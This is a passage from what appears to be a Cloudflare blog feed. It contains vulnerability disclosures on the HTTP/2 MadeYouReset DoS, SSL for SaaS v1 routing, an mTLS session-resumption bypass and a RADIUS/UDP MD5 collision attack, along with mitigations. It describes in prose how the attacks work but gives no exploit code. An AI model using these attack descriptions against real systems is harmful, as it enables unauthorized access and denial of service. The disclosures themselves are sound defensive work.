    <p>In a way, this whole blog post is about things our customers <i>don't</i> need to do. They don't need to upgrade their server software to get the latest patches, we do that for them. They don't need to worry whether they are using the most secure or efficient configuration. So there's no call to action here, except perhaps to sleep easy.</p><p>However, if you find work like this interesting, and especially if you have experience with the implementation of V8 or similar language runtimes, then you should consider coming to work for us. <a href="https://job-boards.greenhouse.io/cloudflare/jobs/6718312?gh_jid=6718312"><u>We are recruiting both in the US and in Europe</u></a>. It's a great place to work, and Cloudflare is going from strength to strength.</p> ]]></content:encoded>
            <category><![CDATA[Cloudflare Workers]]></category>
            <category><![CDATA[Birthday Week]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Engineering]]></category>
            <category><![CDATA[Linux]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <guid isPermaLink="false">7bZyPF4nBnr5gisZW2crax</guid>
            <dc:creator>Erik Corry</dc:creator>
            <dc:creator>Ketan Gupta</dc:creator>
        </item>
        <item>
            <title><![CDATA[MadeYouReset: An HTTP/2 vulnerability thwarted by Rapid Reset mitigations]]></title>
            <link>https://blog.cloudflare.com/madeyoureset-an-http-2-vulnerability-thwarted-by-rapid-reset-mitigations/</link>
            <pubDate>Thu, 14 Aug 2025 22:03:00 GMT</pubDate>
            <description><![CDATA[ A new HTTP/2 denial-of-service (DoS) vulnerability called MadeYouReset was recently disclosed by security researchers. Cloudflare HTTP DDoS mitigation, already protects from MadeYouReset. ]]></description>
            <content:encoded><![CDATA[ <p><i><sub>(Correction on August 19, 2025: This post was updated to correct and clarify details about the vulnerability and the HTTP/2 protocol.)</sub></i></p><p>On August 13, security researchers at Tel Aviv University disclosed a new HTTP/2 denial-of-service (DoS) vulnerability that they are calling MadeYouReset (<a href="https://www.kb.cert.org/vuls/id/767506"><u>CVE-2025-8671</u></a>). This vulnerability exists in a limited number of unpatched HTTP/2 server implementations that do not accurately track use of server-sent stream resets, which can lead to resource consumption. <b>If you’re using Cloudflare for HTTP DDoS mitigation, you’re already protected from MadeYouReset</b>.</p><p>Cloudflare was informed of this vulnerability in May through a coordinated disclosure process, and we were able to confirm that our systems were not susceptible. We foresaw this sort of attack while mitigating the "<a href="https://blog.cloudflare.com/on-the-recent-http-2-dos-attacks/"><u>Netflix vulnerabilities</u></a>" in 2019, and added even stronger defenses in response to <a href="https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/"><u>Rapid Reset</u></a> (<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-44487"><u>CVE-2023-44487</u></a>) in 2023. MadeYouReset and Rapid Reset are two conceptually similar attacks that exploit a fundamental feature within <a href="https://datatracker.ietf.org/doc/html/rfc9113#RST_STREAM"><u>the HTTP/2 specification</u></a> (RFC 9113): stream resets. In the HTTP/2 protocol, a client initiates a bidirectional stream that carries an HTTP request/response exchange, represented as frames sent between the client and server. Typically, HEADERS and DATA frames are used for a complete exchange.  Endpoints can use the RST_STREAM frame to prematurely terminate a stream, essentially cancelling operations and signalling that it won’t process any more request or response data. Furthermore, HTTP/2 requires that RST_STREAM is sent when there are protocol errors related to the stream. For example, <a href="http://datatracker.ietf.org/doc/html/rfc9113#section-6.1-10"><u>section 6.1 of RFC 9113</u></a> requires that when a DATA frame is received under the wrong circumstances, "...<i>the recipient MUST respond with a stream error (</i><a href="https://datatracker.ietf.org/doc/html/rfc9113#section-5.4.2"><i><u>Section 5.4.2</u></i></a><i>) of type STREAM_CLOSED</i>". </p><p>The vulnerability exploited by both MadeYouReset and Rapid Reset lies in the potential for malicious actors to abuse this stream reset mechanism. By repeatedly causing stream resets, attackers can overwhelm a server's resources. While the server is attempting to process and respond to a multitude of requests, the rapid succession of resets forces it to expend computational effort on starting and then immediately discarding these operations. This can lead to resource exhaustion and impact the availability of the targeted server for legitimate users; <a href="https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/#impact-on-customers"><u>as described previously</u></a>, the main difference between the two attacks is that Rapid Reset exploits client-sent resets, while MadeYouReset exploits server-sent resets. It works by using a client to persuade a server into resetting streams via intentionally sending frames that trigger protocol violations, which in turn trigger stream errors.</p><p>RFC 9113 details a number of <a href="https://datatracker.ietf.org/doc/html/rfc9113#section-10.5"><u>denial-of-service considerations</u></a>. Fundamentally, the protocol provides many features with legitimate uses that can be exploited by attackers with nefarious intent. Implementations are advised to harden themselves: "An endpoint that doesn't monitor use of these features exposes itself to a risk of denial of service. Implementations SHOULD track the use of these features and set limits on their use."</p><p>Fortunately, the MadeYouReset vulnerability only impacts a relatively small number of HTTP/2 implementations. In most major HTTP/2 implementations already in widespread use today, the proactive measures taken to implement RFC 9113 guidance and counter Rapid Reset in 2023 have also provided substantial protection against MadeYouReset, limiting its potential impact and preventing a similarly disruptive event.</p><blockquote><p><b>A note about Cloudflare’s Pingora and its users:
</b>Our <a href="https://blog.cloudflare.com/pingora-open-source/"><u>open-sourced Pingora framework</u></a> uses the popular Rust-language h2 library for its HTTP/2 support. Versions of h2 prior to 0.4.11 were <a href="https://seanmonstar.com/blog/hyper-http2-didnt-madeyoureset/"><u>potentially susceptible to MadeYouReset</u></a>. Users of Pingora can patch their applications by updating their h2 crate version using the cargo update command. Pingora does not itself terminate inbound HTTP connections to Cloudflare’s network, meaning this vulnerability could not be exploited against Cloudflare’s infrastructure.</p></blockquote><p>We would like to credit researchers <a href="https://galbarnahum.com/posts/made-you-reset-intro"><u>Gal Bar Nahum</u></a>, Anat Bremler-Barr, and Yaniv Harel of Tel Aviv University for discovering this vulnerability and thank them for their leadership in the coordinated disclosure process. Cloudflare always encourages security researchers to submit vulnerabilities like this to our <a href="https://hackerone.com/cloudflare?type=team"><u>HackerOne Bug Bounty program</u></a>.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[DDoS]]></category>
            <guid isPermaLink="false">707qJXBfSyXWBe0ziAnp8G</guid>
            <dc:creator>Alex Forster</dc:creator>
            <dc:creator>Noah Maxwell Kennedy</dc:creator>
            <dc:creator>Lucas Pardue</dc:creator>
            <dc:creator>Evan Rittenhouse</dc:creator>
        </item>
        <item>
            <title><![CDATA[Vulnerability disclosure on SSL for SaaS v1 (Managed CNAME)]]></title>
            <link>https://blog.cloudflare.com/vulnerability-disclosure-on-ssl-for-saas-v1-managed-cname/</link>
            <pubDate>Fri, 01 Aug 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ An upcoming vulnerability disclosure in Cloudflare’s SSL for SaaSv1 is detailed, explaining the steps we’ve taken towards deprecation. ]]></description>
            <content:encoded><![CDATA[ <p>Earlier this year, a group of external researchers identified and reported a vulnerability in Cloudflare’s SSL for SaaS v1 (Managed CNAME) product offering through Cloudflare’s <a href="https://hackerone.com/cloudflare?type=team"><u>bug bounty</u></a> program. We officially deprecated SSL for SaaS v1 in 2021; however, some customers received extensions for extenuating circumstances that prevented them from migrating to SSL for SaaS v2 (Cloudflare for SaaS). We have continually worked with the remaining customers to migrate them onto Cloudflare for SaaS over the past four years and have successfully migrated the vast majority of these customers. For most of our customers, there is no action required; for the very small number of SaaS v1 customers, we will be actively working to help migrate you to SSL for SaaS v2 (Cloudflare for SaaS).   </p>
    <div>
      <h2>Background on SSL for SaaS v1 at Cloudflare</h2>
      <a href="#background-on-ssl-for-saas-v1-at-cloudflare">
        
      </a>
    </div>
    <p>Back in 2017, Cloudflare <a href="https://blog.cloudflare.com/introducing-ssl-for-saas/"><u>announced SSL for SaaS</u></a>, a product that allows SaaS providers to extend the benefits of Cloudflare security and performance to their end customers. Using a “Managed CNAME” configuration, providers could bring their customer’s domain onto Cloudflare. In the first version of SSL for SaaS (v1), the traffic for Custom Hostnames is proxied to the origin based on the IP addresses assigned to the zone. In this Managed CNAME configuration, the end customers simply pointed their domains to the SaaS provider origin using a CNAME record. The customer’s origin would then be configured to accept traffic from these hostnames. </p>
    <div>
      <h2>What are the security concerns with v1 (Managed CNAME)?</h2>
      <a href="#what-are-the-security-concerns-with-v1-managed-cname">
        
      </a>
    </div>
    <p>While SSL for SaaS v1 enabled broad adoption of Cloudflare for end customer domains, its architecture introduced a subtle but important security risk – one that motivated us to build Cloudflare for SaaS. </p><p>As adoption scaled, so did our understanding of the security and operational limitations of SSL for SaaS v1. The architecture depended on IP-based routing and didn’t verify domain ownership before proxying traffic. That meant that any custom hostname pointed to the correct IP could be served through Cloudflare — even if ownership hadn’t been proven. While this produced the desired functionality, this design introduced risks and created friction when customers needed to make changes without downtime. </p><p>A malicious CF user aware of another customer's Managed CNAME (via social engineering or publicly available info), could abuse the way SSL for SaaS v1 handles host header redirects through DNS manipulation and Man-in-The-Middle attack because of the way Cloudflare serves the valid TLS certificate for the Managed CNAME.</p><p>For regular connections to Cloudflare, the certificate served by Cloudflare is determined by the <a href="https://www.cloudflare.com/learning/ssl/what-is-sni/"><u>SNI provided by the client in the TLS handshake</u></a>, while the zone configuration applied to a request is determined based on the host-header of the HTTP request.</p><p>In contrast, SSL for SaaS v1/Managed CNAME setups work differently. The certificate served by Cloudflare is still based on the TLS SNI, but the zone configuration is determined solely based on the specific Cloudflare anycast IP address the client connected to.</p><p>For example, let’s assume that <code>192.0.2.1</code> is the anycast IP address assigned to a SaaS provider. All connections to this IP address will be routed to the SaaS provider's origin server, irrespective of the host-header in the HTTP request. This means that for the following request:</p>
            <pre><code>$ curl --connect-to ::192.0.2.1 https://www.cloudflare.com</code></pre>
            <p>The certificate served by Cloudflare will be valid for <a href="http://www.cloudflare.com"><u>www.cloudflare.com</u></a>, but the request will not be sent to the origin server of <a href="http://www.cloudflare.com"><u>www.cloudflare.com</u></a>. It will instead be sent to the origin server of the SaaS provider assigned to the <code>192.0.2.1</code> IP address.</p><p>While the likelihood of exploiting this vulnerability is low and requires multiple complex conditions to be met, the vulnerability can be paired with other issues and potentially exploit other Cloudflare customers if:</p><ol><li><p>The adversary is able to perform <a href="https://www.cloudflare.com/learning/dns/dns-cache-poisoning/"><u>DNS poisoning</u></a> on the target domain to change the IP address that the end-user connects to when visiting the target domain</p></li><li><p>The adversary is able to place a malicious payload on the Managed CNAME customer’s website, or discovers an existing cross-site scripting vulnerability on the website</p></li></ol>
    <div>
      <h2>Mitigation: A Phased Transition</h2>
      <a href="#mitigation-a-phased-transition">
        
      </a>
    </div>
    <p>To address these challenges, we launched SSL for SaaS v2 (Cloudflare for SaaS) and <a href="https://developers.cloudflare.com/cloudflare-for-platforms/cloudflare-for-saas/reference/versioning/"><u>deprecated SSL for SaaS v1</u></a> in 2021. Cloudflare for SaaS transitioned away from IP-based routing towards a verified custom hostname model. Now, custom hostnames must pass a <a href="https://developers.cloudflare.com/cloudflare-for-platforms/cloudflare-for-saas/domain-support/hostname-validation/"><u>hostname verification step</u></a> alongside SSL certificate validation to proxy to the customer origin. This improves security by limiting origin access to authorized hostnames and reduces downtime through<a href="https://developers.cloudflare.com/cloudflare-for-platforms/cloudflare-for-saas/domain-support/hostname-validation/pre-validation/"><u> hostname pre-validation</u></a>, which allows customers to verify ownership before traffic is proxied through Cloudflare.</p><p>When Cloudflare for SaaS became generally available, we began a careful and deliberate deprecation of the original architecture. Starting in March 2021, we notified all v1 users of the then upcoming sunset in favor of v2 in September 2021 with instructions to migrate. Although we officially deprecated Managed CNAME, some customers were granted exceptions and various zones remained on SSL for SaaS v1. Cloudflare was notified this year through our Bug Bounty program that an external researcher had identified the SSL for SaaS v1 vulnerabilities in the midst of our continued efforts to migrate all customers.</p><p>The majority of customers have successfully migrated to the modern v2 setup. For those few that require more time to migrate, we've implemented compensating controls to limit the potential scope and reach of this issue for the remaining v1 users. Specifically:</p><ul><li><p>This feature is unavailable for new customer accounts, and new zones within existing customer accounts, to configure via the UI or API</p></li><li><p>Cloudflare actively maintains an allowlist of zones &amp; customers that currently use the v1 service</p></li></ul><p>We have also implemented WAF custom rules configurations for the remaining customers such that any requests targeting an unauthorized destination will be caught and blocked in their L7 firewall.</p><p>The architectural improvement of Cloudflare for SaaS not only closes the gap between certificate and routing validation but also ensures that only verified and authorized domains are routed to their respective origins—effectively eliminating this class of vulnerability.</p>
    <div>
      <h2>Next steps</h2>
      <a href="#next-steps">
        
      </a>
    </div>
    <p>There is no action necessary for Cloudflare customers, with the exception of remaining SSL for SaaS v1 customers, with whom we are actively working to help migrate. While we move to the final phases of sunsetting v1, Cloudflare for SaaS is now the standard across our platform, and all current and future deployments will use this secure, validated model by default.</p>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>As always, thank you to the external researchers for responsibly disclosing this vulnerability. We encourage all of our Cloudflare community to submit any identified vulnerabilities to help us continually improve upon the security posture of our products and platform.</p><p>We also recognize that the trust you place in us is paramount to the success of your infrastructure on Cloudflare. We consider these vulnerabilities with the utmost concern and will continue to do everything in our power to mitigate impact. Although we are confident in our steps to mitigate impact, we recognize the concern that such incidents may induce. We deeply appreciate your continued trust in our platform and remain committed not only to prioritizing security in all we do, but also acting swiftly and transparently whenever an issue does arise.</p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Cloudflare for SaaS]]></category>
            <category><![CDATA[Security]]></category>
            <guid isPermaLink="false">4W7e9grs33H6l2VfLX03C2</guid>
            <dc:creator>Mia Malden</dc:creator>
            <dc:creator>Albert Pedersen</dc:creator>
            <dc:creator>Trishna</dc:creator>
            <dc:creator>Ross Jacobs</dc:creator>
        </item>
        <item>
            <title><![CDATA[Resolving a Mutual TLS session resumption vulnerability]]></title>
            <link>https://blog.cloudflare.com/resolving-a-mutual-tls-session-resumption-vulnerability/</link>
            <pubDate>Fri, 07 Feb 2025 20:13:14 GMT</pubDate>
            <description><![CDATA[ Cloudflare patched a Mutual TLS (mTLS) vulnerability (CVE-2025-23419) reported via its Bug Bounty Program. The flaw in session resumption allowed client certificates to authenticate across different ]]></description>
            <content:encoded><![CDATA[ <p>On January 23, 2025, Cloudflare was notified via its <a href="https://www.cloudflare.com/en-gb/disclosure/"><u>Bug Bounty Program</u></a> of a vulnerability in Cloudflare’s <a href="https://www.cloudflare.com/en-gb/learning/access-management/what-is-mutual-tls/"><u>Mutual TLS</u></a> (mTLS) implementation. </p><p>The vulnerability affected customers who were using mTLS and involved a flaw in our session resumption handling. Cloudflare’s investigation revealed <b>no</b> evidence that the vulnerability was being actively exploited. And tracked as<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-23419"> <u>CVE-2025-23419</u></a>, Cloudflare mitigated the vulnerability within 32 hours after being notified. Customers who were using Cloudflare’s API shield in conjunction with <a href="https://developers.cloudflare.com/waf/custom-rules/"><u>WAF custom rules</u></a> that validated the issuer's Subject Key Identifier (<a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields/reference/cf.tls_client_auth.cert_issuer_ski/"><u>SKI</u></a>) were not vulnerable. Access policies such as identity verification, IP address restrictions, and device posture assessments were also not vulnerable.</p>
    <div>
      <h2>Background</h2>
      <a href="#background">
        
      </a>
    </div>
    <p>The bug bounty report detailed that a client with a valid mTLS certificate for one Cloudflare zone could use the same certificate to resume a TLS session with another Cloudflare zone using mTLS, without having to authenticate the certificate with the second zone.</p><p>Cloudflare customers can implement mTLS through Cloudflare <a href="https://developers.cloudflare.com/api-shield/security/mtls/"><u>API Shield</u></a> with Custom Firewall Rules and the <a href="https://developers.cloudflare.com/cloudflare-one/identity/devices/access-integrations/mutual-tls-authentication/"><u>Cloudflare Zero Trust</u></a> product suite. Cloudflare establishes the TLS session with the client and forwards the client certificate to Cloudflare’s Firewall or Zero Trust products, where customer policies are enforced.</p><p>mTLS operates by extending the standard TLS handshake to require authentication from both sides of a connection - the client and the server. In a typical TLS session, a client connects to a server, which presents its <a href="https://www.cloudflare.com/application-services/products/ssl/">TLS certificate</a>. The client verifies the certificate, and upon successful validation, an encrypted session is established. However, with mTLS, the client also presents its own TLS certificate, which the server verifies before the connection is fully established. Only if both certificates are validated does the session proceed, ensuring bidirectional trust.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2FXDaK0R6cpH4IZwSlCyXk/e8f6764656d2672f9eadf4e60851614f/BLOG-2667_2.png" />
          </figure><p>mTLS is useful for <a href="https://developers.cloudflare.com/api-shield/security/mtls/"><u>securing API communications</u></a>, as it ensures that only legitimate and authenticated clients can interact with backend services. Unlike traditional authentication mechanisms that rely on credentials or <a href="https://www.cloudflare.com/en-gb/learning/access-management/token-based-authentication/"><u>tokens</u></a>, mTLS requires possession of a valid certificate and its corresponding private key.</p><p>To improve TLS connection performance, Cloudflare employs <a href="https://blog.cloudflare.com/tls-session-resumption-full-speed-and-secure/"><u>session resumption</u></a>. Session resumption speeds up the handshake process, reducing both latency and resource consumption. The core idea is that once a client and server have successfully completed a TLS handshake, future handshakes should be streamlined — assuming that fundamental parameters such as the cipher suite or TLS version remain unchanged.</p><p>There are two primary mechanisms for session resumption: session IDs and session tickets. With session IDs, the server stores the session context and associates it with a unique session ID. When a client reconnects and presents this session ID in its ClientHello message, the server checks its cache. If the session is still valid, the handshake is resumed using the cached state.</p><p>Session tickets function in a stateless manner. Instead of storing session data, the server encrypts the session context and sends it to the client as a session ticket. In future connections, the client includes this ticket in its ClientHello, which the server can then decrypt to restore the session, eliminating the need for the server to maintain session state.</p><p>A resumed mTLS session leverages previously established trust, allowing clients to reconnect to a protected application without needing to re-initiate an mTLS handshake.</p>
    <div>
      <h3>The mTLS resumption vulnerability</h3>
      <a href="#the-mtls-resumption-vulnerability">
        
      </a>
    </div>
    <p>In Cloudflare’s mTLS implementation, however, session resumption introduced an unintended behavior.  <a href="https://boringssl.googlesource.com/boringssl"><u>BoringSSL</u></a>, the TLS library that Cloudflare uses, will store the client certificate from the originating, full TLS handshake in the session. Upon resuming that session, the client certificate is not revalidated against the full chain of trust, and the original handshake's verification status is respected. To avoid this situation, BoringSSL provides an API to partition session caches/tickets between different “contexts” defined by the application. Unfortunately, Cloudflare’s use of this API was not correct, which allowed TLS sessions to be resumed when they shouldn’t have been. </p><p>To exploit this vulnerability, the security researcher first set up two zones on Cloudflare and configured them behind Cloudflare’s proxy with mTLS enabled. Once their domains were configured, the researcher authenticated to the first zone using a valid client certificate, allowing Cloudflare to issue a TLS session ticket against that zone. </p><p>The researcher then changed the TLS Server Name Indication (SNI) and HTTP Host header from the first zone (which they had authenticated with) to target the second zone (which they had <i>not</i> authenticated with). The researcher then presented the session ticket when handshaking with the second Cloudflare-protected mTLS zone. This resulted in Cloudflare resuming the session with the second zone and reporting verification status for the cached client certificate as successful,bypassing the mTLS authentication that would normally be required to initiate a session.</p><p>If you were using additional validation methods in your API Shield or Access policies – for example, checking the issuers SKI, identity verification, IP address restrictions, or device posture assessments – these controls continued to function as intended. However, due to the issue with TLS session resumption, the mTLS checks mistakenly returned a passing result without re-evaluating the full certificate chain.</p>
    <div>
      <h2>Remediation and next steps</h2>
      <a href="#remediation-and-next-steps">
        
      </a>
    </div>
    <p>We have disabled TLS session resumption for all customers that have mTLS enabled. As a result, Cloudflare will no longer allow resuming sessions that cache client certificates and their verification status.</p><p>We are exploring ways to bring back the performance improvements from TLS session resumption for mTLS customers.</p>
    <div>
      <h2>Further hardening</h2>
      <a href="#further-hardening">
        
      </a>
    </div>
    <p>Customers can further harden their mTLS configuration and add enhanced logging to detect future issues by using Cloudflare's <a href="https://developers.cloudflare.com/rules/transform/"><u>Transform Rules</u></a>, logging, and firewall features.</p><p>While Cloudflare has mitigated the issue by disabling session resumption for mTLS connections, customers may want to implement additional monitoring at their origin to enforce stricter authentication policies. All customers using mTLS can also enable additional request headers using our <a href="https://developers.cloudflare.com/rules/transform/managed-transforms/reference/#add-tls-client-auth-headers"><u>Managed Transforms</u></a> product. Enabling this feature allows us to pass additional metadata to your origin with the details of the client certificate that was used for the connection.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7eYFaZUrBYTESAZEQHsnHS/8bdb9135ab58648529cb8339c48ebb2b/BLOG-2667_3.png" />
          </figure><p>Enabling this feature allows you to see the following headers where mTLS is being utilized on a request.</p>
            <pre><code>{
  "headers": {
    "Cf-Cert-Issuer-Dn": "CN=Taskstar Root CA,OU=Taskstar\\, Inc.,L=London,ST=London,C=UK",
    "Cf-Cert-Issuer-Dn-Legacy": "/C=UK/ST=London/L=London/OU=Taskstar, Inc./CN=Taskstar Root CA",
    "Cf-Cert-Issuer-Dn-Rfc2253": "CN=Taskstar Root CA,OU=Taskstar\\, Inc.,L=London,ST=London,C=UK",
    "Cf-Cert-Issuer-Serial": "7AB07CC0D10C38A1B554C728F230C7AF0FF12345",
    "Cf-Cert-Issuer-Ski": "A5AC554235DBA6D963B9CDE0185CFAD6E3F55E8F",
    "Cf-Cert-Not-After": "Jul 29 10:26:00 2025 GMT",
    "Cf-Cert-Not-Before": "Jul 29 10:26:00 2024 GMT",
    "Cf-Cert-Presented": "true",
    "Cf-Cert-Revoked": "false",
    "Cf-Cert-Serial": "0A62670673BFBB5C9CA8EB686FA578FA111111B1B",
    "Cf-Cert-Sha1": "64baa4691c061cd7a43b24bccb25545bf28f1111",
    "Cf-Cert-Sha256": "528a65ce428287e91077e4a79ed788015b598deedd53f17099c313e6dfbc87ea",
    "Cf-Cert-Ski": "8249CDB4EE69BEF35B80DA3448CB074B993A12A3",
    "Cf-Cert-Subject-Dn": "CN=MB,OU=Taskstar Admins,O=Taskstar,L=London,ST=Essex,C=UK",
    "Cf-Cert-Subject-Dn-Legacy": "/C=UK/ST=Essex/L=London/O=Taskstar/OU=Taskstar Admins/CN=MB ",
    "Cf-Cert-Subject-Dn-Rfc2253": "CN=MB,OU=Taskstar Admins,O=Taskstar,L=London,ST=London,C=UK",
    "Cf-Cert-Verified": "true",
    "Cf-Client-Cert-Sha256": "083129c545d7311cd5c7a26aabe3b0fc76818495595cea92efe111150fd2da2",
    }
}
</code></pre>
            <p>Enterprise customers can also use our <a href="https://developers.cloudflare.com/logs/"><u>Cloudflare Log</u></a> products to add these headers via the Logs <a href="https://developers.cloudflare.com/logs/reference/custom-fields/"><u>Custom Fields</u></a> feature. For example:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/3D864CsepB5U2wM1AWhYVu/ca7d3d1ca144bc4fb7ac7edddfdf5987/BLOG-2667_4.png" />
          </figure><p>This will add the following information to Cloudflare Logs.</p>
            <pre><code>"RequestHeaders": {
    "cf-cert-issuer-ski": "A5AC554235DBA6D963B9CDE0185CFAD6E3F55E8F",
    "cf-cert-sha256": "528a65ce428287e91077e4a79ed788015b598deedd53f17099c313e6dfbc87ea"
  },
</code></pre>
            <p>Customers already logging this information — either at their origin or via Cloudflare Logs — can retroactively check for unexpected certificate hashes or issuers that did not trigger any security policy.</p><p>Users are also able to use this information within their <a href="https://developers.cloudflare.com/learning-paths/application-security/firewall/custom-rules/"><u>WAF custom rules</u></a> to conduct additional checks. For example, checking the <a href="https://developers.cloudflare.com/ruleset-engine/rules-language/fields/reference/cf.tls_client_auth.cert_issuer_ski/"><u>Issuer's SKI</u></a> can provide an extra layer of security.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/1YWZe9P1hhYEPJrWH4gpqi/b0a6f3c70a203032404c1ca0e2fc517c/BLOG-2667_5.png" />
          </figure><p>Customers who enabled this <a href="https://developers.cloudflare.com/api-shield/security/mtls/configure/#expression-builder"><u>additional check</u></a> were not vulnerable.</p>
    <div>
      <h2><b>Conclusion</b></h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We would like to thank Sven Hebrok, Felix Cramer, Tim Storm, Maximilian Radoy, and Juraj Somorovsky of Paderborn University who responsibly disclosed this issue via our <a href="https://hackerone.com/cloudflare?type=team"><u>HackerOne Bug Bounty Program</u></a>, allowing us to identify and mitigate the vulnerability. We welcome further submissions from our community of researchers to continually improve our products' security.</p><p>Finally, we want to apologize to our mTLS customers. Security is at the core of everything we do at Cloudflare, and we deeply regret any concerns this issue may have caused. We have taken immediate steps to resolve the vulnerability and have implemented additional safeguards to prevent similar issues in the future. </p>
    <div>
      <h2><b>Timeline </b></h2>
      <a href="#timeline">
        
      </a>
    </div>
    <p><i>All timestamps are in UTC</i></p><ul><li><p><b>2025-01-23 15:40</b> – Cloudflare is notified of a vulnerability in Mutual TLS and the use of session resumption.</p></li><li><p><b>2025-01-23 16:02 to 21:06</b> – Cloudflare validates Mutual TLS vulnerability and prepares a release to disable session resumption for Mutual TLS.</p></li><li><p><b>2025-01-23 21:26</b> – Cloudflare begins rollout of remediation.</p></li><li><p><b>2025-01-24 20:15</b> – Rollout completed. Vulnerability is remediated.</p></li></ul><p></p> ]]></content:encoded>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[WAF]]></category>
            <category><![CDATA[Zero Trust]]></category>
            <category><![CDATA[SASE]]></category>
            <category><![CDATA[TLS]]></category>
            <category><![CDATA[Network Services]]></category>
            <guid isPermaLink="false">4gJhafUsmUjkevKu55304a</guid>
            <dc:creator>Matt Bullock</dc:creator>
            <dc:creator>Rushil Mehra</dc:creator>
            <dc:creator>Alessandro Ghedini</dc:creator>
        </item>
        <item>
            <title><![CDATA[RADIUS/UDP vulnerable to improved MD5 collision attack]]></title>
            <link>https://blog.cloudflare.com/radius-udp-vulnerable-md5-attack/</link>
            <pubDate>Tue, 09 Jul 2024 12:00:59 GMT</pubDate>
            <description><![CDATA[ The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography ]]></description>
            <content:encoded><![CDATA[ <p>The MD5 cryptographic hash function was first broken in 2004, when <a href="https://iacr.org/archive/eurocrypt2005/34940019/34940019.pdf">researchers</a> demonstrated the first MD5 collision, namely two different messages X1 and X2 where MD5(X1) = MD5 (X2). Over the years, attacks on MD5 have only <a href="https://www.iacr.org/archive/eurocrypt2007/45150001/45150001.pdf">continued</a> to <a href="https://eprint.iacr.org/2009/111.pdf">improve</a>, getting faster and more effective <a href="https://en.wikipedia.org/wiki/Flame_(malware)">against</a> <a href="https://www.ndss-symposium.org/wp-content/uploads/2017/09/transcript-collision-attacks-breaking-authentication-tls-ike-ssh.pdf">real</a> <a href="https://www.akamai.com/blog/security-research/exploiting-critical-spoofing-vulnerability-microsoft-cryptoapi">protocols</a>. But despite continuous advancements in cryptography, MD5 has lurked in network protocols for years, and is still playing a critical role in some protocols even today.</p><p>One such protocol is <a href="https://en.wikipedia.org/wiki/RADIUS">RADIUS (Remote Authentication Dial-In User Service)</a>. RADIUS was first designed in 1991 – during the era of dial-up Internet – but it remains an important authentication protocol used for remote access to routers, switches, and other networking gear by users and administrators. In addition to being used in networking environments, RADIUS is sometimes also used in industrial control systems.  RADIUS traffic is still <a href="https://datatracker.ietf.org/doc/draft-ietf-radext-deprecating-radius/">commonly transported over UDP</a> in the clear, protected only by outdated cryptographic constructions based on MD5.</p><p>In this post, we present an improved attack against MD5 and use it to exploit all authentication modes of RADIUS/UDP apart from those that use EAP (<a href="https://datatracker.ietf.org/doc/html/rfc3748">Extensible Authentication Protocol</a>). The attack allows a Monster-in-the-Middle (MitM) with access to RADIUS traffic to gain unauthorized administrative access to devices using RADIUS for authentication, without needing to brute force or steal passwords or shared secrets. This post discusses the attack and provides an overview of mitigations that network operators can use to improve the security of their RADIUS deployments.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/128HlLk4YY6iwwDQl2naHy/527eb41a400396e915ed805292de1fe4/image9-1.png" />
            
            </figure><p>RADIUS/UDP in Password Authentication Protocol (PAP) mode. Our attack also applies to RADIUS/UDP CHAP and RADIUS/UDP MS-CHAP authentication modes as well.</p><p>In a typical RADIUS use case, an end user gets administrative access to a router, switch, or other networked device by entering a username and password with administrator privileges at a login prompt. The target device runs a RADIUS client which queries a remote RADIUS server to determine whether the username and password are valid for login. This communication between the RADIUS client and RADIUS server is very sensitive: if an attacker can violate the integrity of this communication, it can control who can gain administrative access to the device, even if the connection between user and device is secure. An attacker that gains administrative access to a router or switch can redirect traffic, drop or add routes, and generally control the flow of network traffic. This makes RADIUS an important protocol for the security of modern networks.</p><p>Our understanding of cryptography and protocol design was fairly unrefined when RADIUS was first introduced in the 1990s. Despite this, the protocol hasn’t changed much, likely because updating RADIUS deployments can be tricky due to its use in legacy devices (e.g. routers) that are harder to upgrade.</p><p>RADIUS traffic is commonly sent over internal networks, and in our research we did not broadly measure how organizations configure it internally.  Anecdotal evidence suggests that RADIUS/UDP remains popular. (<a href="https://www.blastradius.fail/pdf/radius.pdf">See our paper for some case studies of large organizations using RADIUS/UDP</a>). While it is possible to send <a href="https://datatracker.ietf.org/doc/html/rfc6614">RADIUS over TLS</a> (sometimes also called RADSEC), the Internet Engineering Task Force (IETF) still considers the <a href="https://datatracker.ietf.org/doc/html/rfc6614">specification for RADIUS/TLS</a> to be “<a href="https://www.ietf.org/process/process/informational-vs-experimental/#:~:text=in%20any%20sense.-,4.2.1%20Experimental,-The%20%22Experimental%22%20designation">experimental</a>”, and is currently still in the process of specifying <a href="https://datatracker.ietf.org/doc/draft-ietf-radext-radiusdtls-bis/01/">RADIUS over TLS or DLTS</a> as “<a href="https://www.ietf.org/process/informal/#:~:text=2.3.%20Standards%20track%20documents">standards track</a>”.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2vh2ZZQu14kW1ipbQVsGGb/30189350ae37c12c076805d3520637dd/image8-1.png" />
            
